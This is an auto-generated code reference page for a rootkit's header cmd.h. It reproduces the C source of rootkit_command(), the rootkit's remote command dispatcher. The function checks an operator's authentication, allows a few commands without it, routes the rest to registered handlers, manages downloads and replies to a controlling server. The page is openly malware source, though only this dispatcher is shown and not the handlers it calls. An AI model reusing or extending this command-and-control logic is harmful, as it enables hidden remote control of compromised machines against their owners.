cmd.h File Reference

This graph shows which files directly or indirectly include this file:

Go to the source code of this file.

Functions
int	rootkit_command (char *command, unsigned command_size, enum Protocol protocol)

Function Documentation

rootkit_command()

int rootkit_command	(	char *	command,
		unsigned	command_size,
		enum Protocol	protocol
	)

Definition at line 122 of file cmd.c.

                                            {
    // Handle ongoing download
    if (download(command) == 0) {
        return 0;
    }
 
    // Strip trailing newline if present
    command[strcspn(command, "\n")] = '\0';
 
    // Validate null termination
    DBG_MSG("rootkit_command: received command: \"%s\"\n", command);
    if (command[command_size - 1] != '\0') {
        ERR_MSG("rootkit_command: command is not null-terminated\n");
        return -EINVAL;
    }
 
    // Allow these commands without authentication
    const char *allowed_commands[] = { "connect", "help", "ping", NULL };
 
    if (!is_user_auth()) {
        int allowed = 0;
        for (int i = 0; allowed_commands[i] != NULL; i++) {
            if (strncmp(command, allowed_commands[i], strlen(allowed_commands[i])) == 0) {
                allowed = 1;
                break;
            }
        }
 
        if (!allowed) {
            send_to_server(protocol, "Authentication required. Use the 'connect' "
                                     "command to authenticate.\n");
            ERR_MSG("rootkit_command: unauthorized command without authentication\n");
            return -FAILURE;
        }
    }
 
    // Match command against registered handlers
    for (int i = 0; rootkit_commands_array[i].cmd_name != NULL; i++) {
        if (strncmp(command, rootkit_commands_array[i].cmd_name,
                    rootkit_commands_array[i].cmd_name_size)
            == 0) {
            char *args = command + rootkit_commands_array[i].cmd_name_size;
            while (*args == ' ')
                args++;
            return rootkit_commands_array[i].cmd_handler(args, protocol);
        }
    }
 
    // Unknown command
    ERR_MSG("rootkit_command: unknown command \"%s\"\n", command);
    send_to_server(protocol, "Unknown command\n");
    return -EINVAL;
}